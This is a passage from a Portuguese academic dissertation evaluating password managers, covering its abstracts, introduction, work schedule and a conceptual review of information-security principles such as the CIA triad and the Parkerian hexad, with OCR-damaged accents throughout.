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Resumo

Gradualmente, tem-se vindo a verificar que a informacao pertencente aos diversos utilizadores
da Internet esta cada vez mais exposta a ataques. Estas invasdes comprometem os seus dados,
e, para isso, tém surgido algumas respostas, tais como a seguranca da informacdo. Um dos
fatores que se destaca e que esta relacionado com esta é a autenticidade. Técnicas de biometria
e chaves eletrdnicas sdo exemplos usados para a assegurar, na informacdo. Porém, o
mecanismo que mais sobressai é a utilizacdo de um par constituido por nome de utilizador e
palavra-chave. Contudo, este tem revelado alguns problemas associados.

Ora, se é usado um Unico segredo para salvaguardar todos os recursos privados, e este é
descoberto, a informacado do utilizador estara inteiramente comprometida. Ja no caso de serem
empregues multiplas passwords, corre-se o risco de haver o esquecimento das credenciais de
acesso. Por outro lado, existem inconvenientes se estas sdo curtas (facilmente encontradas) ou
longas (dificeis de memorizar). Dadas as situa¢des relatadas, tém vindo a ser aplicados gestores
de palavras-chave. Tais métodos permitem o armazenamento dos segredos, bem como a sua
criagdo, podendo estes ter vdrios tipos de resolugGes, variando entre técnicas locais, moveis,
ou até mesmo baseadas na web. Todas elas possuem vantagens (dependendo do cenario),
assim como desvantagens comuns.

De forma a verificar se estas ferramentas disponibilizam a seguranca prometida, foi executada
uma andlise intensiva a alguns programas, escolhidos pelo seu desempenho e notoriedade, que
ja se encontram no mercado. Caso ndo se mostrassem eficazes, seria proposta uma aplicacao,
com vista a resolver os problemas descobertos. Porém, concluiu-se que ja existe um mecanismo
que oferece a salvaguarda pretendida. Assim, foi feito unicamente um estudo sobre as
abordagens que podem ser adotadas, destacando a que se apresentou como mais adequada.

Palavras-chave: Autenticagao, gestdo, seguranca
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Abstract

It has been verified, gradually, that information belonging to different Internet users, is
increasingly exposed to attacks. These invasions compromise their data, and so, some answers
have arisen, such as information security. One of the most important factors, related to this
concept, is authenticity. Biometrics and security tokens are examples used to ensure it.
However, the mechanism that stands out more, is the pair composed by a username and
password. Nevertheless, this has revealed some problems.

If a single secret is used to protect all the websites, and it’s discovered, users’ information will
be fully compromised. If there are used multiple passwords, there may be a risk of forgetting
access credentials. On the other hand, there are drawbacks if they are short (easily found) or
long (hard to remember). Considering the reported statements, password managers have been
applied. Such methods allow to store and generate passwords, and can have different types of
solutions, ranging between local, mobile or even web-based. All of these have advantages
(depending on the scenario), as well as common disadvantages.

In order to check if these tools offer the promised security, it was performed an intensive
analysis to some programs, chosen by their performance and reputation, that are already on
the market. If they proved to be ineffective, an application to solve the discovered problems
would be proposed. However, it was concluded that a mechanism providing the desired
protection, already exists. Thereby, it was only conducted a study about the approaches that
can be adopted, pointing out the one that was presented as more appropriate.

Keywords: Authentication, management, security
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1 Introducao

“Great things are not done by impulse,

v

but by a series of small things brought together

Vincent Van Gogh

No primeiro capitulo serd introduzido o tema do documento, bem como o que se pretende
deste. Assim, esta parte estd dividida em diversas sec¢bes. Primeiro, é feito um enquadramento
e é explicada a motivacdo por detras da execucdo do projeto; de seguida, é indicada uma
pequena sintese do que vai ser abordado no capitulo de andlise de valor; depois é realizada
uma breve exposicao sobre as metas e contributos do trabalho em causa; posteriormente, é
dada a planificacdo aplicada; e, finalmente, é disponibilizada a estrutura da dissertacao.

1.1 Contexto e Motivagao

A informagdo é um elemento fulcral no dia-a-dia do ser humano, uma vez que se encontra
presente em grande parte das atividades da sua vida (Case 2012). Esta pode ser adquirida e
transmitida através de inimeros meios (pessoa a pessoa, bibliotecas, etc.), e obtém um
determinado valor, consoante o seu conteudo (Mir, Wani & Ibrahim 2013; Whitman & Mattord
2011). Devido a importancia deste, o seu valor tem vindo a aumentar, pelo que tem sido alvo
de cada vez mais ataques (Collins 2016). Assim, torna-se essencial o desenvolvimento e
utilizacdo de técnicas de salvaguarda, como é o caso da seguranga da informagdo (Andress
2014).

Esta, normalmente, é aplicada através da garantia de caracteristicas como a confidencialidade,
integridade e disponibilidade (sendo estes os seus pilares). Contudo, existem outros fatores que
devem ser considerados, como é o caso da autenticidade, que assegura que a informacao se
encontra num estado genuino (Parker 2010). Este fator estd intimamente ligado ao ato de
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autenticacdo, onde credenciais, objetos ou atributos humanos sdo usados para o acesso a
determinados dados (Andress 2014; Pfleeger, Pfleeger & Margulies 2015).

Isto pode ser feito usando diferentes metodologias, sendo a mais empregue, a aplicacdo de um
nome de utilizador e uma palavra-chave (Lawless Research 2016). Apesar de esta ser a forma
mais comum, possui varios problemas relacionados com a sua gestao. Pode n3do ser seguro usar
uma senha Unica para se proceder a autenticacdo, bem como pode ser complexo recorrer a
varias. Por outro lado, se os segredos forem simples, podem ser facilmente descobertos,
enguanto se forem longos, sdo dificeis de decorar. Para resolver estas dificuldades, surgiram os
denominados gestores de palavras-chave (Aliasgari, Sabol & Sharma 2015; Juels & Ristenpart
2014). Estes mecanismos podem assumir varias formas (mdveis, locais ou baseados na web),
tendo cada um as suas vantagens e inconvenientes (Fahl et al. 2013; Karole, Saxena & Christin
2011). Com a evolugdo tecnoldgica, tém-se verificado mais adversidades, tais como as relatadas
no artigo de Martin Vigo e Alberto Garcia, onde sao descritos problemas sérios na ferramenta
LastPass! (Vigo 2015).

Assim, torna-se interessante fazer uma analise aos programas que ja se encontram no mercado,
para desvendar, se de facto, os password managers trazem a seguranca desejada aos seus
utilizadores.

1.2 Resumo da Analise de Valor

Para que o objetivo descrito seja atingido com sucesso, é necessario compreender o significado
de valor, pois sé deste modo é que se conseguira oferecer algo de qualidade. Este pode assumir
varias interpretacOes, visto que existem multiplas teorias para diversos autores e alturas
temporais (Rokeach 1973; Teece 2010). No entanto, em todas elas estd implicitamente definido
valor desejado e percebido (Broekhuizen 2006).

De uma maneira simplista, estas definicGes indicam, respetivamente, o que é esperado e a
diferenca entre os ganhos e os custos entendidos pelo consumidor (Bajs 2015). Por exemplo,
para este projeto, podem ser vistos beneficios (qualidade, seguranga e conforto) e sacrificios
(tempo despendido para entender o tema do trabalho). Tais elementos, segundo Tony Woodall,
podem ser dispostos temporalmente, nas seguintes fases: pré-aquisicdo, tempo de transagao,
pods-venda e apds utilizacdo. Para além disso, o autor também estabeleceu um conjunto
diferente de classificacdes para o valor (liquido, de marketing, de venda, racional e derivado),
denominadas de formas de valor (Woodall 2003). Todos estes conceitos estdo na base das redes
de valor e colaboragdo (Nicola, Ferreira & Ferreira 2012).

As primeiras caracterizam-se por serem constituidas por um conjunto de entidades que produz
valor para elas e para os seus clientes (Tapscott, Ticoll & Lowy 2000). J4 as restantes, baseiam-
se na entreajuda de um grupo de pessoas/empresas, de forma a alcancarem obijetivos

! Fonte: https://lastpass.com/pt-pt/ (agosto 2016)
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compativeis. Ora, visto que estas Ultimas estdo intimamente ligadas a processos complexos
(interligagdo de individuos e colaboragdo), viu-se necessdrio estabelecer modelos que
descomplicassem estas atividades (Nicola, Ferreira & Ferreira 2012). Assim, foi elaborado o
ARCON (A Reference Model for Collaborative Networks), que se trata de um esquema que
representa trés perspetivas: temporal, estrutural e interna/externa (Camarinha-Matos &
Afsarmanesh 2008). Este, pode ainda ser usado em desenhos mais completos, como o CMDVC
(ou Conceptual Model for Decomposing Value for the Customer) que é empregue para proceder
a criacdo de valor para o cliente (Nicola, Ferreira & Ferreira 2012). Normalmente, esta pratica
é realizada quando se prevé uma negocia¢do. Esta ndo é mais do que um acordo entre duas
entidades, em que o resultado nem sempre é o esperado (Lax & Sebenius 1986; Nicola, Ferreira
& Ferreira 2010). Por vezes, poderd nem haver negdcio. Outras situagdes, como uma vantagem
esmagadora para uma instituicdo, ou um ganho maximo para as duas partes, sdo cenarios
igualmente aceitaveis (Carnevale & Pruitt 1992). Note-se, além disso, que numa qualquer
negociacdo, devem ser pensados e examinados os elementos que devem ser concluidos desta.
Para isso, deverdo ser aplicadas técnicas que facilitam esta andlise, ou seja, técnicas analiticas
para o tratamento de informacdo (Shyur & Shih 2015).

Por fim, ha que salientar que a compreensao do negdcio é vital para o estabelecimento de
acordos. Para tal, foi concebido por Alexander Osterwalder e Yves Pigneur, um modelo
constituido por nove tépicos (segmento de clientes; proposta de valor; relacionamento com
clientes; canais; fontes de receita; atividades-, recursos- e parcerias-chave; e estrutura de
custos), que soluciona essa necessidade (Osterwalder & Pigneur 2010). Este é de maior
importancia e deve ser usado sempre que possivel.

1.3 Contributos e Objetivos

De forma clara, os principais contributos que sdo oferecidos por este documento sao:

e Pesquisa com foco na salvaguarda da informacdo, apresentando ao leitor um panorama
geral do que é frequentemente usado;

e Selecdo e estudo de trés gestores de palavras-chave, que sdo vistos como os mais
apropriados para seguranca dos dados;

e Estudo conclusivo que valida se os mecanismos (ja integrados no mercado), com o
intuito de proteger os dados sensiveis dos utilizadores, sdo plenamente confidveis e
seguros;

e Potencial implementa¢cdo de uma aplicag¢do, que resolva os possiveis riscos existentes
nos programas disponiveis no mercado.
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Ha que destacar que os trés primeiros topicos serdo expostos na presente dissertagdo,
enguanto o ultimo, apesar de ter a sua estrutura descrita na mesma, obterd a forma final de

um software.

Atendendo a tais propostas, devem ser entendidos como objetivos pessoais principais do

trabalho:

e A consolida¢do de conhecimento adquirido ao longo do periodo académico;

e Aquisicdo de nova informacao referente a drea de seguranca informatica;

e E concecdo de uma analise (e aplicagdo) com a melhor qualidade possivel (atendendo

aos recursos disponiveis).

1.4 Planeamento

Para que todos os objetivos fossem alcangados, apdés um levantamento dos requisitos
necessarios foi efetuada uma planificacdo do trabalho a ser realizado. Assim, foram cumpridas

as datas que sdo assinaladas na Tabela 1.

Tabela 1 — Escalonamento de tarefas do projeto

Més/Ano Dia Evento
outubro/2015 15 Inicio da estruturagao da dissertagao
23 Data de entrega de formalizacdo do relatdrio
novembro/2015 5e 12 Mddulo de analise de problemas via pensamento critico
18 Mddulo de pesquisa e recolha de informacao
24 Inicio da descricdo do estado da arte (P1.1)
25 Médulo de escrita técnico-cientifica
dezembro/2015 10,16 e 17 Maddulo de experimentacdo e avaliagdo
24 Inicio da exposicdo de testes (P1.1)
janeiro/2016 5,6,12e  Mddulo de analise de valor de negdcio
13
2 Inicio da escrita sobre o projeto (P1.1)
21 Inicio da explicagdo da analise de valor (P1.1)
fevereiro/2016 7 Escrita da introducdo, conclusdo e resumo/abstract (P1.1)
14 Data da entrega de P1.1
15 Inicio das correc¢Ges necessarias para P1.2
abril/2016 18 Inicio da analise dos gestores de palavras-chave (P2)
julho/2016 16 Inicio da fase de testes/questionarios (P2)

agosto/2016 4

21

Inicio da reescrita da introducdo, conclusdo e
resumo/abstract (P2)

Finalizacdo da escrita da dissertagao
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1.5 Organizacao do Documento
Este documento encontra-se estruturado em 7 capitulos:

Neste primeiro, é efetuada uma introdug3o ao tema do trabalho em questdo. E exposta uma
pequena contextualizagdo, explicada a motivacdo vista para a elaboracdo da dissertacdo,
indicada uma sintese da relevancia da andlise de valor, esclarecidos os contributos e os
objetivos, e distribuida uma tabela elucidativa das atividades executadas ao longo do tempo.

O seguinte comeca por abordar a importancia da informacdo. Depois é explicada como é
realizada a sua seguranca, descrevendo pormenorizadamente o que é, o seu ciclo de vida, os
seus pilares e os fatores adicionais. Por fim, termina com a exposi¢do de um dos atributos mais
pertinentes para esta.

No terceiro capitulo é mencionado um exemplo de um mecanismo que suporta a salvaguarda
dos dados. Aqui é feita uma explicacdo, que referencia o interesse visto nos gestores de
palavras-chave, bem como é elaborada uma caracterizagdo destes.

Na quarta parte do documento é discutida a necessidade da proposta de valor, os ganhos e
custos envolvidos, os possiveis cendrios de negdcio, um método analitico para o tratamento
dos dados, e um modelo padrdo para a representa¢cdo de um empreendimento.

No quinto capitulo é feita uma investigacao aprofundada a trés gestores de senhas, que foram
vistos como os mais utilizados e com melhor desempenho.

O pendltimo, expde os resultados de alguns testes que foram concebidos (para experimentar
os algoritmos dos programas analisados previamente), assim como de dois inquéritos, relativos
aos habitos de autenticacido das pessoas.

O capitulo final apresenta todas as conclusdes retiradas do que foi realizado, bem como o
trabalho que se prevé para o futuro.

1.6 Resumo da Introducao

Neste capitulo inicial, foi dada uma visao geral do que se vai abordar na dissertagao em causa.
Comegou-se por fazer um enquadramento ao tema do trabalho, demonstrando que o projeto
estd inteiramente ligado a seguranca da informacdo. Esta pratica estd relacionada com o
conceito de autentica¢Go, que por sua vez, tem assumido uma grande importancia para a
sociedade, sendo adotados mecanismos que permitem a sua realizagdo. Entre essas
ferramentas, encontram-se os gestores de palavras-chave, que sdo um método muito comum
para a administracdo de senhas, que sdao empregues localmente e na web. Contudo, estdo
associados a alguns problemas, pelo que se torna necessario investigar se, ajudam de facto, os
seus utilizadores a salvaguardarem as suas credenciais.



Introdugao

Assim, é sugerida uma analise a alguns dos programas mais conhecidos e Uteis de modo a
comprovar se estes ja fornecem uma protecao consistente dos dados, ou se ndo sdo capazes
de a garantir. Caso se confirme esta Ultima situacao, sera ainda aconselhada uma aplicacdo, que
tentara corrigir o maximo de ameacas existentes.

Para que o que foi explicado seja possivel, é fundamental estabelecer algumas regras para o
empreendimento em causa, pelo que é da maior relevancia desenvolver um modelo que
permita perceber a sua concretizagdo. Tal serd explicado posteriormente, na sec¢do de Analise
de Valor.

Além disto, viu-se como essencial o estabelecimento de um planeamento que favorece a
realizacdo de tarefas, nos devidos prazos. O periodo de trabalho estipulado é iniciado em
outubro de 2015, acabando em agosto de 2016. Neste espaco temporal, foram admitidas
diversas metas, sendo estas cumpridas integralmente.

No final desta parte, é dada a estrutura do relatdrio, sendo sintetizado o contelddo de cada
capitulo. Inicialmente, pretende-se dar uma contextualizacdo detalhada do problema em
questdo; depois, deseja-se expor uma andlise do valor do negdcio; em seguida é proposta a
inspecdo e avaliacdo referida; finalmente serdo indicadas as conclusdes finais.
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Este capitulo é o ponto de partida para a descricdo do conteiudo do projeto, pois aqui sao
apresentados os conceitos fundamentais do trabalho. Tais elementos permitem perceber a
relevancia da abordagem ao tema, e estdo ordenados em termos de subjetividade, ou seja,
parte-se de um meio mais concreto, para um mais abstrato. Tendo isto em conta, vai-se explicar
o que é informacdo, a sua importancia, que classificagdes existem para os diferentes tipos,
aonde é que pode ser encontrada e como se processa o0 seu armazenamento.

Ora, com o passar do tempo, este recurso obteve uma maior importancia, necessitando de ser
salvaguardado. Por isso, na seccdo seguinte, sdo mencionados trés fatores que, em conjunto,
formam a base para a protec¢do dos dados de qualquer individuo ou organizacdo. Porém, esses
elementos nem sempre sao suficientes para proporcionar a seguranga pretendida. Assim, sao
considerados aspetos adicionais (como é o caso da autenticidade), que complementam a
estrutura principal. O exemplo exposto destaca-se dos demais, por ser o cerne de um grande
numero de problemas. Devido a isso, constituird o topico final do capitulo. Neste ultimo, serdo
também indicados os mecanismos que tentam consertar a situacao.

2.1 Informacgao

Ao pesquisar-se pela palavra informagéo descobrem-se opinides bastante subjetivas. Isto deve-
se ao facto de serem admitidas diversas teorias para a sua representacdo e serem aplicadas
multiplas areas de estudo (Case 2012). Em linhas gerais, esta ndo é mais do que uma “instrugao,
conhecimento”, como é referido na Grande Enciclopédia Portuguesa e Brasileira (s.d.). Todavia,
a definicdo pode ser alargada para um “elemento particular de conhecimento que se tem ou se
transmite”, como é citado no Dicionario da Lingua Portuguesa Contemporanea da Academia
das Ciéncias de Lisboa (2001).

Para além destas, existem muitas outras maneiras de a descrever, sendo que todas elas
divergem. Contudo, é unanime a importancia daquele conceito, bem como a atribuicdo de um
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determinado valor. Este serd elevado ou reduzido, consoante a pertinéncia e as alteragGes
feitas no conteludo dos dados (Whitman & Mattord 2011). Habitualmente, a informacdo que
assume maior valor é a pessoal, pois esta intimamente ligada ao proprio individuo. Esta é
classificada como geral ou sensivel, dependendo do grau de sigilo que deve ser aplicado ao seu
conteudo. No primeiro caso, a partida, ndo existe nenhum inconveniente na sua distribuicao.
Ja no segundo, é necessdrio reservar a comunicacao do conhecimento, uma vez que esta deve
ser o mais confidencial possivel. Sabendo isto, constata-se que os nimeros de identificagdo sdo
um exemplo a incluir nesta categoria (Wang, Li & Cheng 2014).

A informacdo normalmente é encontrada e divulgada de multiplas formas (bibliotecas, meios
de comunicacdo ou pessoas conhecidas), que no dia-a-dia sdao bastante acessiveis e foram
evoluindo ao longo do tempo (Mir, Wani & lbrahim 2013). Antigamente usavam-se técnicas
fisicas para a transmissdao e armazenamento dos dados. Porém, atualmente, ndo se recorre
muito a estas opc¢Oes, tendo em conta o aparecimento dos computadores. Estes facilitam a
troca e a salvaguarda dos elementos, de forma abismal (Aspray 2013). Mais especificamente, a
Internet tem sido progressiva e rapidamente utilizada para a pesquisa e partilha de
conhecimento, passando-se para uma era cada vez mais digital. Apesar da transicdo de real
para virtual poder ser benéfica de diversas maneiras, resulta também em inUmeros problemas
(Collins 2016). Assim, o roubo de dados pessoais tornou-se bastante comum e tem-se vindo a
intensificar (Rao & Nayak 2014). Por esta razdo, tém-se adotado métodos de salvaguarda. Um
dos conceitos que esta intimamente associado a este género de questdes é o da sequran¢a da
informagdo (Andress 2014).

2.2 Seguranga da Informagao

Atendendo ao que foi enunciado, é fundamental que cada individuo seja capaz de proteger os
seus dados, sendo adotados procedimentos de salvaguarda para a sua prote¢do, como é o caso
da seguranga da informagdo. Esta é muito usada e conhecida e, por isso, serd descrita no
presente capitulo. Aqui, vai ser apresentada a sua definicdo, um modelo constituido com
algumas das etapas possiveis, a triade CID (Confidencialidade, Integridade e Disponibilidade) e,
finalmente, possiveis elementos que complementam este ultimo conjunto.

2.2.1 Conceito e Ciclo de Vida

A seguranca da informacdo pode ser definida como a pratica de técnicas que tentam assegurar
que determinados aspetos criticos sdo estabelecidos, salvaguardando os recursos (software
e/ou hardware) mais preciosos para o individuo ou organizacdo (Andress 2014; Crossler et al.
2013; Peltier 2013; Rao & Nayak 2014). Ou seja, aquela defesa visa a evasdo de qualquer
ameaca aos fatores essenciais, que surja associada a um dado ambiente. Entende-se por
ameacga, uma entidade, pessoa ou objeto, que se apresenta como um problema, isto é, que
possa causar algum tipo de dano a um sistema (Andress 2014; Rao & Nayak 2014; Sari 2012).
Esta pode ser classificada de varias maneiras: como interna ou externa (dependendo, se a fonte
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de perigo se encontra dentro ou fora do meio, onde a maquina estd inserida); e como passiva
ou ativa, caso seja despoletada devido a erro ou causa natural, ou por alguém mal-intencionado
(frequente denominado de atacante), respetivamente (Rao & Nayak 2014; Sari 2012).

Para dar resposta as possiveis coa¢des, Chi-Chun Lo e Wan-Jia Chen (Lo & Chen 2012), entre
outros autores (Yang, Shieh & Tzeng 2013), propuseram um conjunto de estratégias que
pretendem atingir a estabilidade de um sistema. Apesar de todos oferecerem modelos
consistentes e eficazes, o que foi publicado por llona llvonen e os seus colegas (llvonen et al.
2015) é dos mais recentes e completos até ao momento (podendo isto ser comprovado
relacionando-o com os outros ja existentes). Por essa razdo foi o selecionado para ser explicado.

O paradigma previamente apresentado é constituido por 7 fases, tal como é percetivel no
diagrama de atividades disposto na Figura 1: detecdo do problema/necessidade, identificacdo
de informacdo relevante, reconhecimento das ameacas e dos seus agentes, andlise de risco,
exame de custos/beneficios, implementacdo, e por fim, controlo.

O primeiro passo deste ciclo passa pelo reconhecimento dos fatores de negdcio que devem ser
trabalhados. E neste momento que se definem os objetivos e as pessoas que devem ser
integradas no processo, devendo também ser ponderados alguns beneficios que sdo esperados.

Na etapa seguinte, é concretizada uma recolha dos recursos que sao mais pertinentes, tendo
em conta o que foi especificado na atividade anterior. Aqueles sdo considerados de maior
importancia para a organizacao e, por isso, devem ser protegidos a todo o custo.

O terceiro estagio consiste no reconhecimento das possiveis coa¢des, bem como de agentes
(pessoas/entidades ou eventos naturais que as exploram) que criam algum perigo ao negdcio,
afetando aquilo que foi pensado na Ultima etapa. E fundamental entender que mesmo as
ameacas mais invulgares podem ocorrer e, por isso, ndo devem ser menosprezadas (llvonen et
al. 2015).

Posteriormente, é feita uma andlise para pensar em riscos que possam vir a existir, como
consequéncia do que foi determinado previamente. Neste exame, risco pode ser visto como o
resultado obtido a partir do confronto das consequéncias das ameacas e da probabilidade de
tais acontecerem (llvonen et al. 2015; Peltier 2013).

Na quinta parte do processo, deve ser feito um equilibrio entre os custos e os beneficios que
estdo associados as resolugdes disponiveis para os riscos estudados e, a partir dai, fazer uma

verificacdo do melhor caso. Este sera implementado no préximo estagio (mitigacdo).

Finalmente, apds estarem os mecanismos devidamente desenvolvidos, estes devem ser
monitorizados, surgindo assim a ultima fase do ciclo. Esta torna o negdcio mais proactivo na
medida em que, sempre que haja alguma alteragdo na estrutura do negdcio, os riscos devem
ser reavaliados, mantendo o sistema numa forma consistente. Para além disso, ha que salientar
qgue, a qualquer momento, é possivel retroceder para o primeiro passo, caso seja preciso
repensar os fatores iniciais (llvonen et al. 2015).
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Figura 1 — Diagrama de atividade referente a defesa da informagéo (llvonen et al. 2015)

2.2.2 Triade CID

Tal como foi afirmado no inicio da sec¢do 2.2.1, a seguranga da informac¢do é uma pratica que
exige um grupo de propriedades basicas, sendo estas diferenciadas pelas suas funcionalidades
e pelos objetivos que se pretendem atingir. As caracteristicas que sdo consideradas como mais
elementares e criticas estdo integradas na denominada triade CID (Confidencialidade,
Integridade e Disponibilidade), ou CIA (Confidentiality, Integrity and Availability) em inglés
(Gregory 2015). Estas trés, por vezes, possuem defini¢Ges distintas para diferentes contextos
(Rao & Nayak 2014). No entanto, neste documento, vdo ser usados os conceitos que sdo
direcionados a seguranca de informac&o, guiados pelo padrdo ISO/IEC 27000:2016 (ISO/IEC
2016). Assim, a confidencialidade trata-se do primeiro elemento do conjunto anteriormente
enunciado. Esta tem como objetivo a prote¢do contra acessos indevidos e prevencao de fugas
de informacg&do (Andress 2014; Gregory 2015; ISO/IEC 2016; Peltier 2013; Rao & Nayak 2014).
Habitualmente, estas situacGes de extravasamentos sucedem-se por engano (por exemplo,
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pelo envio de dados secretos a pessoas indevidas) ou, até mesmo, intencionalmente (Whitman
& Mattord 2011). Esta propriedade esta, portanto, inteiramente ligada aos controlos de acessos
(Singer & Friedman 2014). Alias, o conceito em causa surgiu devido a restricdo de permissdes
dadas pelas unidades militares, para que, a informacdo preservada se mantivesse secreta
(Bishop 2004). Esta pratica, ainda hoje é usada como um exemplo de aplicacdo para se obter
esta finalidade (Hur & Kang 2014). Normalmente é esperado que, até mesmo pequenas
empresas utilizem formas que a assegurem. Para estes casos, sdo executadas frequentemente
técnicas como o armazenamento seguro de documentos ou implementacdo de politicas de
salvaguarda, como modo de prevencao a eventuais ataques (Singer & Friedman 2014; Whitman
& Mattord 2011). Existem inimeros perigos possiveis contra o conceito em questdo, todavia
exercicios como a engenharia social (em que um individuo é persuadido a indicar detalhes da
seguranca de um sistema) e a monitorizacdo das comunicag¢des, destacam-se das demais, por
serem mais comuns (Bullée et al. 2015; Sequeira 2012; Vacca 2014).

Passando ao segundo fator da triade CID (integridade), este procura garantir que os dados estdo
completos e que se encontram num estado exato, ou seja, ndo foram destruidos nem
corrompidos (Andress 2014; ISO/IEC 2016; Peltier 2013; Rao & Nayak 2014). Tal corrupgdo pode
acontecer quer quando a informagdo é armazenada, quer quando esta é transmitida (Pathak &
Padmavathi 2014). Para além do que foi enunciado, assume-se que a propriedade em causa é
mais subjetiva que a anterior, pois lida com tépicos abstratos, como a credibilidade. Esta, por
sua vez, levanta sérias questdes de seguranc¢a, na medida em que nem sempre o que se diz ser
verdadeiro o é. Visto isto, normalmente recorre-se a dois tipos de procedimentos para
contornar estes obstdculos, sendo estas categorizadas em métodos de prevencdo e de detecao.

Os mecanismos de preven¢do proporcionam uma gestdo da informacdo pelo controlo de
tentativas de alteracdo desta (restricdo de acessos). Assim, certas organizacbes, de maneira
exemplar, limitam determinados recursos a um pequeno niumero de individuos, uma vez que
nao se espera que todos os funciondrios trabalhem na mesma drea. Ja as estratégias de dete¢do
sdo uma opcdo onde se valida a integridade. Esta forma tenta unicamente notificar os
utilizadores se a fonte é fidvel, e ndo implementar uma solugdo de salvaguarda (Bishop 2004;
Chin & Older 2011).

Para a aplicacdo da caracteristica em questdo, emprega-se, muitas vezes, file hashing, onde os
ficheiros sdo submetidos a um algoritmo de hashing. Ao resultado deste da-se o nome de hash,
que representa um valor genuino, atribuido consoante o contetdo do ficheiro. O que quer dizer
que, ao se aplicar tal técnica em momentos temporais distintos, é possivel perceber se a fonte
de dados foi adulterada (Stewart, Chapple & Gibson 2012; Whitman & Mattord 2011).

Diversos ataques sdo executados para contrariar a integridade. A distribuicdo de um virus ou a
realizacdo de ataques man-in-the-middle (existéncia de um intermediario nas comunicacdes,
que tem a opgdo de alterar as mensagens passadas) sdo métodos muito frequentes para
implicar algum dano aos sistemas (Yang et al. 2012).
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Por fim, e para completar a lista dos pilares da seguranga da informagdo, surge a
disponibilidade. Este fator existe sempre que se consiga garantir que um utilizador legal tenha
acesso aos dados, de modo fiavel, num formato minimamente correto e no preciso momento
em que sao requisitados (Andress 2014; Chin & Older 2011; Gregory 2015; Peltier 2013; Rao &
Nayak 2014; Stewart, Chapple & Gibson 2012). Tendo estes detalhes em conta, ataques do tipo
negacdo de servi¢o (DoS) afetam a disponibilidade (Andress 2014; Peltier 2013; Sequeira 2012).
Estas investidas consistem na ocupacao de recursos de uma dada rede ou sistema, variando
habitualmente entre memdrias, fontes de energia e largura de banda (Jover 2013; Kanthe,
Simunic & Djurek 2012; Sequeira 2012). Este género de violagdes pode ser realizado em trés
zonas distintas: na fonte, no destino e na comunicac¢do intermédia. No primeiro caso é aplicado
um método, onde o servidor ndo é capaz de adquirir os meios necessarios para a realizacdo do
servico. J& no segundo, surge a quebra de ligacdo do servidor para o exterior. Na ultima
situacdo, as mensagens do servidor, do cliente, ou de ambos sdo descartadas (Bishop 2004; Yan
et al. 2016; Zargar, Joshi & Tipper 2013).

Para que a disponibilidade de um sistema ndo seja comprometida por atagues como o
mencionado, devem ser adotadas algumas medidas de prevencdo. Tal é possivel, pelo uso de
mecanismos redundantes (que garantem que ndo ha pontos Unicos de falha) ou adocgdo de
procedimentos de salvaguarda de informacdo, como por exemplo, replicacdo de bases de dados
(Gregory 2015). O funcionamento de um site de apostas é um exemplo que necessita de
recorrer a estas estratégias. Os utilizadores devem poder requisitar qualquer modalidade, jogo
ou aposta a qualqguer momento, nunca esquecendo também que tudo deve ser apresentado no
idioma que eles queiram e com os valores atualizados (Kim & Solomon 2014).

Todas as definigdes apresentadas anteriormente tentam confrontar um conjunto chamado
vulgarmente de triade DAD (Descoberta, Alteracdo e Negacdo, traduzindo para portugués). A
primeira letra do grupo enunciado refere-se a revelacdo de informacdo, o que vai contra a
confidencialidade. Ja a segunda, determina a modificagdo dos dados, sendo antagonico a
integridade. Finalmente, a negacdo, assim como foi explicada por via do ataque DoS, reduz a
disponibilidade. Pelo que foi exposto, constata-se que os elementos que foram previamente
evidenciados vdo precisamente contra o que se pretende (triade CID), e por esta razdo, devem
ser evitados ao maximo (Andress 2014; Bojanc & Jerman-Blazi¢ 2013).

2.2.3 Fatores Adicionais

Apesar do grupo CID ser suficiente para muitas situagdes, onde sé é necessaria uma seguranca
simplista, este pode (e deve) ser estendido com conceitos suplementares, contornando desta
forma adversidades e preocupag¢des adicionais. Para isso, entidades como o governo dos
Estados Unidos da América pronunciaram-se, e acrescentaram alguns elementos (Andress
2014; Hansen, Jensen & Rost 2015; Parker 2010). Embora as propostas apresentadas fossem
razodaveis, nem sempre possuiam uma estrutura fixa, bem como nao abrangiam todas as areas
necessarias para assegurar a estabilidade do sistema. Por estas razdes, Donn Parker desenhou
um modelo que pretendia cobrir todos os dominios possiveis e, para atingir esse fim, construiu
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a denominada parkerian hexad. Esta é constituida por trés itens (posse, autenticidade e
utilidade), que se encaixam respetivamente, com a confidencialidade, integridade e
disponibilidade, sem que haja sobreposicao de ideias.

Parker comeca por definir posse como o controlo da informagdo, por parte de um
proprietario/entidade legal (Andress 2014; Parker 1995; Rao & Nayak 2014). Isto é conseguido,
por exemplo, pela prote¢do dos direitos de autor, via licenciamento (Reid & Gilbert 2010).
Tendo isto em conta, o fator em causa tenta estender a confidencialidade, visto que esta ultima
sO se preocupa com aquilo que uma pessoa possui e sabe, ndo cobrindo aquilo que esta tem,
mas nao se apercebe, como por exemplo, o cédigo de um programa de computador (Williams
& Neal 2012). Assim, pode-se dizer que se aquela estiver em risco, o outro também estara.
Todavia o contrario nem sempre se verifica. Para o comprovar, vai-se recorrer ao caso de uma
empresa que usa a codificacdo (transformacdo dos dados em cddigo) para assegurar a sua
estabilidade. Aqui, como é natural, os funciondrios ndo tém o trabalho garantido, podendo
estes ser demitidos a qualquer momento. Atendendo a este pressuposto, se um colaborador
for despedido (e se possivelmente este conseguir o acesso a um dado recurso da firma), existe
uma falha no controlo, mas ndao na confidencialidade, pois a informacdo encontra-se num
formato ilegivel para este (Whitman & Mattord 2011).

Para além da propriedade anterior, Parker também considerou a autenticidade, um elemento
fulcral a adicionar a base da seguranca da informacgdo. O estudo deste aspeto foi desencadeado
pela evolucdo tecnoldgica e pela necessidade de complementar a integridade, pois esta ultima
preocupa-se fundamentalmente com a plenitude dos dados, e ndo com o seu valor e
genuinidade (Parker 2010; Rao & Nayak 2014; Reid & Gilbert 2010; Yan, Jian-wen & Lin 2015).
Isto é aplicavel até ao caso mais simples. Por exemplo, diariamente acede-se a uma quantidade
enorme de dados. Estes devem estar num formato correto, pois, de outra maneira, podem
sofrer alteracGes ou outras a¢Oes indevidas, por parte do atacante. Normalmente assume-se
que quando se recebe uma mensagem eletrénica (email, redes sociais, etc.), esta é sempre
fidvel e nunca foi modificada, porém nem sempre é verdade. Através de email spoofing é
possivel modificar a mensagem enviada, o que corrompe o seu conteudo (Andress 2014;
Whitman & Mattord 2011). Estas investidas sdo habitualmente usadas para atrair utilizadores
para websites indevidos de forma a aproveitar o que é digitado e a fazer-se passar por
determinada pessoa, pondo em causa a propriedade discutida (Biddle, Chiasson & Van
Oorschot 2012). Outro modo frequentemente usado para criar problemas a autenticidade é
